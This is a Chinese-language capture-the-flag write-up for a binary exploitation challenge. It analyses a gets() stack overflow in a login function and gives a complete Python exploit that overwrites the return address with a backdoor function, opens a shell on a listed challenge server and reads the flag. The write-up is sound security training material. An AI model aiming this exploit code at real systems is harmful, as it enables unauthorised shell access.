题目名称 anthenticate
解题思路(要求解题思路清晰,每个题需截图flag值并且包含时间)
题目地址: nc 120.27.146.76 28517
附件: 64位ELF可执行文件,未strip,动态链接
使用 file 命令查看:
ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped
使用 strings 和 objdump 分析,发现关键函数:
backdoor 函数 (0x4011f6):
lea 0xe03(%rip),%rdi # 加载 "/bin/sh"
call system@plt # 调用 system("/bin/sh")
这是一个后门函数,直接执行 /bin/sh 获取shell。
login 函数 (0x40120d):
sub $0xffffffffffffff80,%rsp # 分配 0x80 = 128 字节栈空间
lea -0x40(%rbp),%rax # 用户名缓冲区 (rbp-0x40),用 read() 读取,最多64字节(安全)
lea -0x80(%rbp),%rax # 密码缓冲区 (rbp-0x80),用 gets() 读取(漏洞!)
call gets@plt # ← 栈缓冲区溢出漏洞
call strcmp # 比较用户名是否为 "admin"
漏洞: gets() 读取密码时没有长度限制,可以溢出密码缓冲区(rbp-0x80,128字节)覆盖保存的 RBP 和返回地址。
栈布局:
rbp-0x80 | 密码缓冲区 (128 bytes) |
rbp | saved RBP (8 bytes) |
rbp+0x08 | 返回地址 (8 bytes) | ← 覆盖为 backdoor 地址
Payload 构造:
padding = b'A' * 136 # 128 (buffer) + 8 (saved RBP)
ret_gadget = struct.pack('<Q', 0x40101a) # ret指令用于栈对齐
backdoor = struct.pack('<Q', 0x4011f6) # backdoor函数地址
payload = padding + ret_gadget + backdoor
注:添加
retgadget (0x40101a) 是为了保证栈16字节对齐,确保system()调用正常执行。
import socket
import struct
import time
import select
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(('120.27.146.76', 28517))
fd = s.makefile('rb', buffering=0)
# 接收 Banner
time.sleep(1)
banner = fd.read(4096)
print('[*]', banner)
# 发送用户名
s.send(b'admin\n')
time.sleep(0.5)
fd.read(4096)
# 构造 payload
padding = b'A' * 136
ret_gadget = struct.pack('<Q', 0x40101a)
backdoor = struct.pack('<Q', 0x4011f6)
payload = padding + ret_gadget + backdoor
# 发送 payload
s.send(payload + b'\n')
time.sleep(2)
# 读取 "Invalid credentials."
try:
fd.read(4096)
except: pass
# 获取 flag
s.send(b'cat /flag\n')
time.sleep(2)
output = s.recv(4096)
print('[FLAG]', output.decode(errors='replace'))
s.close()
[*] === Welcome to SecureAuth System === Username:
[*] Password:
[*] Invalid credentials.
[FLAG] flag{c69002db4a5b6e719edfe2cc52f09b3f}
flag{c69002db4a5b6e719edfe2cc52f09b3f}